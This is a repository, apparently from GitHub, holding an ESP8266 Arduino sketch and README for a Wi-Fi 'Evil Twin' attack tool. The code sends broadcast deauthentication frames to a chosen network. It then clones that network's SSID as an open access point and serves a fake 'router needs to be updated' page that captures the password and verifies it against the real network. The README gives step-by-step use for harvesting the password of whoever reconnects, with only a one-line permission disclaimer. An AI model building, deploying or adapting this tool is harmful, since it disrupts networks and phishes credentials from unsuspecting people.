├── ESP8266-EvilTwin-M1z23R.ino └── README.md /ESP8266-EvilTwin-M1z23R.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | extern "C" { 7 | #include "user_interface.h" 8 | } 9 | 10 | 11 | typedef struct 12 | { 13 | String ssid; 14 | uint8_t ch; 15 | uint8_t bssid[6]; 16 | } _Network; 17 | 18 | 19 | const byte DNS_PORT = 53; 20 | IPAddress apIP(192, 168, 1, 1); 21 | DNSServer dnsServer; 22 | ESP8266WebServer webServer(80); 23 | 24 | _Network _networks[16]; 25 | _Network _selectedNetwork; 26 | 27 | void clearArray() { 28 | for (int i = 0; i < 16; i++) { 29 | _Network _network; 30 | _networks[i] = _network; 31 | } 32 | 33 | } 34 | 35 | String _correct = ""; 36 | String _tryPassword = ""; 37 | 38 | void setup() { 39 | 40 | Serial.begin(115200); 41 | WiFi.mode(WIFI_AP_STA); 42 | wifi_promiscuous_enable(1); 43 | WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0)); 44 | WiFi.softAP("M1z23R", "deauther"); 45 | dnsServer.start(53, "*", IPAddress(192, 168, 4, 1)); 46 | 47 | webServer.on("/", handleIndex); 48 | webServer.on("/result", handleResult); 49 | webServer.on("/admin", handleAdmin); 50 | webServer.onNotFound(handleIndex); 51 | webServer.begin(); 52 | } 53 | void performScan() { 54 | int n = WiFi.scanNetworks(); 55 | clearArray(); 56 | if (n >= 0) { 57 | for (int i = 0; i < n && i < 16; ++i) { 58 | _Network network; 59 | network.ssid = WiFi.SSID(i); 60 | for (int j = 0; j < 6; j++) { 61 | network.bssid[j] = WiFi.BSSID(i)[j]; 62 | } 63 | 64 | network.ch = WiFi.channel(i); 65 | _networks[i] = network; 66 | } 67 | } 68 | } 69 | 70 | bool hotspot_active = false; 71 | bool deauthing_active = false; 72 | 73 | void handleResult() { 74 | String html = ""; 75 | if (WiFi.status() != WL_CONNECTED) { 76 | webServer.send(200, "text/html", "

Wrong Password

Please, try again.

"); 77 | Serial.println("Wrong password tried !"); 78 | } else { 79 | webServer.send(200, "text/html", "

Good password

"); 80 | hotspot_active = false; 81 | dnsServer.stop(); 82 | int n = WiFi.softAPdisconnect (true); 83 | Serial.println(String(n)); 84 | WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0)); 85 | WiFi.softAP("M1z23R", "deauther"); 86 | dnsServer.start(53, "*", IPAddress(192, 168, 4, 1)); 87 | _correct = "Successfully got password for: " + _selectedNetwork.ssid + " Password: " + _tryPassword; 88 | Serial.println("Good password was entered !"); 89 | Serial.println(_correct); 90 | } 91 | } 92 | 93 | 94 | String _tempHTML = "" 95 | "" 96 | "
" 97 | "
" 98 | "
" 99 | "
" 100 | "
" 101 | "

"; 102 | 103 | void handleIndex() { 104 | 105 | if (webServer.hasArg("ap")) { 106 | for (int i = 0; i < 16; i++) { 107 | if (bytesToStr(_networks[i].bssid, 6) == webServer.arg("ap") ) { 108 | _selectedNetwork = _networks[i]; 109 | } 110 | } 111 | } 112 | 113 | if (webServer.hasArg("deauth")) { 114 | if (webServer.arg("deauth") == "start") { 115 | deauthing_active = true; 116 | } else if (webServer.arg("deauth") == "stop") { 117 | deauthing_active = false; 118 | } 119 | } 120 | 121 | if (webServer.hasArg("hotspot")) { 122 | if (webServer.arg("hotspot") == "start") { 123 | hotspot_active = true; 124 | 125 | dnsServer.stop(); 126 | int n = WiFi.softAPdisconnect (true); 127 | Serial.println(String(n)); 128 | WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0)); 129 | WiFi.softAP(_selectedNetwork.ssid.c_str()); 130 | dnsServer.start(53, "*", IPAddress(192, 168, 4, 1)); 131 | 132 | } else if (webServer.arg("hotspot") == "stop") { 133 | hotspot_active = false; 134 | dnsServer.stop(); 135 | int n = WiFi.softAPdisconnect (true); 136 | Serial.println(String(n)); 137 | WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0)); 138 | WiFi.softAP("M1z23R", "deauther"); 139 | dnsServer.start(53, "*", IPAddress(192, 168, 4, 1)); 140 | } 141 | return; 142 | } 143 | 144 | if (hotspot_active == false) { 145 | String _html = _tempHTML; 146 | 147 | for (int i = 0; i < 16; ++i) { 148 | if ( _networks[i].ssid == "") { 149 | break; 150 | } 151 | _html += ""; 155 | } else { 156 | _html += ""; 157 | } 158 | } 159 | 160 | if (deauthing_active) { 161 | _html.replace("{deauth_button}", "Stop deauthing"); 162 | _html.replace("{deauth}", "stop"); 163 | } else { 164 | _html.replace("{deauth_button}", "Start deauthing"); 165 | _html.replace("{deauth}", "start"); 166 | } 167 | 168 | if (hotspot_active) { 169 | _html.replace("{hotspot_button}", "Stop EvilTwin"); 170 | _html.replace("{hotspot}", "stop"); 171 | } else { 172 | _html.replace("{hotspot_button}", "Start EvilTwin"); 173 | _html.replace("{hotspot}", "start"); 174 | } 175 | 176 | 177 | if (_selectedNetwork.ssid == "") { 178 | _html.replace("{disabled}", " disabled"); 179 | } else { 180 | _html.replace("{disabled}", ""); 181 | } 182 | 183 | _html += "
SSIDBSSIDChannelSelect
" + _networks[i].ssid + "" + bytesToStr(_networks[i].bssid, 6) + "" + String(_networks[i].ch) + "
"; 152 | 153 | if (bytesToStr(_selectedNetwork.bssid, 6) == bytesToStr(_networks[i].bssid, 6)) { 154 | _html += "
"; 184 | 185 | if (_correct != "") { 186 | _html += "

" + _correct + "

"; 187 | } 188 | 189 | _html += "
"; 190 | webServer.send(200, "text/html", _html); 191 | 192 | } else { 193 | 194 | if (webServer.hasArg("password")) { 195 | _tryPassword = webServer.arg("password"); 196 | WiFi.disconnect(); 197 | WiFi.begin(_selectedNetwork.ssid.c_str(), webServer.arg("password").c_str(), _selectedNetwork.ch, _selectedNetwork.bssid); 198 | webServer.send(200, "text/html", "

Updating, please wait...

"); 199 | } else { 200 | webServer.send(200, "text/html", "

Router '" + _selectedNetwork.ssid + "' needs to be updated



"); 201 | } 202 | } 203 | 204 | } 205 | 206 | void handleAdmin() { 207 | 208 | String _html = _tempHTML; 209 | 210 | if (webServer.hasArg("ap")) { 211 | for (int i = 0; i < 16; i++) { 212 | if (bytesToStr(_networks[i].bssid, 6) == webServer.arg("ap") ) { 213 | _selectedNetwork = _networks[i]; 214 | } 215 | } 216 | } 217 | 218 | if (webServer.hasArg("deauth")) { 219 | if (webServer.arg("deauth") == "start") { 220 | deauthing_active = true; 221 | } else if (webServer.arg("deauth") == "stop") { 222 | deauthing_active = false; 223 | } 224 | } 225 | 226 | if (webServer.hasArg("hotspot")) { 227 | if (webServer.arg("hotspot") == "start") { 228 | hotspot_active = true; 229 | 230 | dnsServer.stop(); 231 | int n = WiFi.softAPdisconnect (true); 232 | Serial.println(String(n)); 233 | WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0)); 234 | WiFi.softAP(_selectedNetwork.ssid.c_str()); 235 | dnsServer.start(53, "*", IPAddress(192, 168, 4, 1)); 236 | 237 | } else if (webServer.arg("hotspot") == "stop") { 238 | hotspot_active = false; 239 | dnsServer.stop(); 240 | int n = WiFi.softAPdisconnect (true); 241 | Serial.println(String(n)); 242 | WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0)); 243 | WiFi.softAP("M1z23R", "deauther"); 244 | dnsServer.start(53, "*", IPAddress(192, 168, 4, 1)); 245 | } 246 | return; 247 | } 248 | 249 | for (int i = 0; i < 16; ++i) { 250 | if ( _networks[i].ssid == "") { 251 | break; 252 | } 253 | _html += "" + _networks[i].ssid + "" + bytesToStr(_networks[i].bssid, 6) + "" + String(_networks[i].ch) + "
"; 254 | 255 | if ( bytesToStr(_selectedNetwork.bssid, 6) == bytesToStr(_networks[i].bssid, 6)) { 256 | _html += "
"; 257 | } else { 258 | _html += ""; 259 | } 260 | } 261 | 262 | if (deauthing_active) { 263 | _html.replace("{deauth_button}", "Stop deauthing"); 264 | _html.replace("{deauth}", "stop"); 265 | } else { 266 | _html.replace("{deauth_button}", "Start deauthing"); 267 | _html.replace("{deauth}", "start"); 268 | } 269 | 270 | if (hotspot_active) { 271 | _html.replace("{hotspot_button}", "Stop EvilTwin"); 272 | _html.replace("{hotspot}", "stop"); 273 | } else { 274 | _html.replace("{hotspot_button}", "Start EvilTwin"); 275 | _html.replace("{hotspot}", "start"); 276 | } 277 | 278 | 279 | if (_selectedNetwork.ssid == "") { 280 | _html.replace("{disabled}", " disabled"); 281 | } else { 282 | _html.replace("{disabled}", ""); 283 | } 284 | 285 | if (_correct != "") { 286 | _html += "

" + _correct + "

"; 287 | } 288 | 289 | _html += ""; 290 | webServer.send(200, "text/html", _html); 291 | 292 | } 293 | 294 | String bytesToStr(const uint8_t* b, uint32_t size) { 295 | String str; 296 | const char ZERO = '0'; 297 | const char DOUBLEPOINT = ':'; 298 | for (uint32_t i = 0; i < size; i++) { 299 | if (b[i] < 0x10) str += ZERO; 300 | str += String(b[i], HEX); 301 | 302 | if (i < size - 1) str += DOUBLEPOINT; 303 | } 304 | return str; 305 | } 306 | 307 | unsigned long now = 0; 308 | unsigned long wifinow = 0; 309 | unsigned long deauth_now = 0; 310 | 311 | uint8_t broadcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; 312 | uint8_t wifi_channel = 1; 313 | 314 | void loop() { 315 | dnsServer.processNextRequest(); 316 | webServer.handleClient(); 317 | 318 | if (deauthing_active && millis() - deauth_now >= 1000) { 319 | 320 | wifi_set_channel(_selectedNetwork.ch); 321 | 322 | uint8_t deauthPacket[26] = {0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x01, 0x00}; 323 | 324 | memcpy(&deauthPacket[10], _selectedNetwork.bssid, 6); 325 | memcpy(&deauthPacket[16], _selectedNetwork.bssid, 6); 326 | deauthPacket[24] = 1; 327 | 328 | Serial.println(bytesToStr(deauthPacket, 26)); 329 | deauthPacket[0] = 0xC0; 330 | Serial.println(wifi_send_pkt_freedom(deauthPacket, sizeof(deauthPacket), 0)); 331 | Serial.println(bytesToStr(deauthPacket, 26)); 332 | deauthPacket[0] = 0xA0; 333 | Serial.println(wifi_send_pkt_freedom(deauthPacket, sizeof(deauthPacket), 0)); 334 | 335 | deauth_now = millis(); 336 | } 337 | 338 | if (millis() - now >= 15000) { 339 | performScan(); 340 | now = millis(); 341 | } 342 | 343 | if (millis() - wifinow >= 2000) { 344 | if (WiFi.status() != WL_CONNECTED) { 345 | Serial.println("BAD"); 346 | } else { 347 | Serial.println("GOOD"); 348 | } 349 | wifinow = millis(); 350 | } 351 | } 352 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ESP8266-EvilTwin v2 2 | 3 | Welcome to the project. 4 | This project is inspired by https://github.com/vk496/linset and https://github.com/SpacehuhnTech/esp8266_deauther 5 | 6 | Use this tool only on networks that you have permission for. 7 | 8 | Note: Removed AsyncWebServer due to performance and stability 9 | Note: Reworked deauthing - now it changes channel so deauthing can work properly 10 | 11 | 12 | Note: I don't know anything about licenes, copyrights, etc. 13 | 14 | Credits to: 15 | Deauthing: https://github.com/SpacehuhnTech/esp8266_deauther // Learned from 16 | ESP8266 Core: https://github.com/espressif/arduino-esp32 // Edited and used 17 | 18 | 19 | 20 | 21 | # How to compile: 22 | Check first: https://github.com/SpacehuhnTech/esp8266_deauther/tree/v1 23 | It has steps on how to enable wifi_send_pkt_freedom (crucial for deauthing to work) 24 | 25 | After that, simply open in Arduino IDE and compile/upload 26 | Feel free to change html pages (I am still using strings, version 3 might be even more stable with the use of char arrays) 27 | Also, feel free to add suggestions, I am sorry about not being active for a long time, and for unanswered issues but I hope this basic version works for everyone. 28 | 29 | Note: Deauthing might not work on some phones due to the fact that I am using broadcast as station target (attacks everyone on network and not specific client). 30 | 31 | # How to use: 32 | - Connect to the AP named M1z23R with password deauther from your phone/PC. 33 | - Select the target you want (list of available APs refreshes every 30secs - page reload is required) 34 | - Click the Start Evil-Twin button and reconnect to the newly created AP named same as your target (will be open) 35 | - After connecting, make sure you chooes "Use this network as is" (may differ on different devices) 36 | - Go to your favorite browser and navigate to 192.168.4.1/admin 37 | - Once there DO NOT change your target, only start/stop deauthing and wait for someone to try and use the correct password. 38 | - Once correct password is found, AP will be restarted with default ssid M1z23R / deauther and at the bottom of a table you should be able to see something like "Successfully got password for - SSID - Password 39 | 40 | If you have any questions, feel free to post in the issues section 41 | --------------------------------------------------------------------------------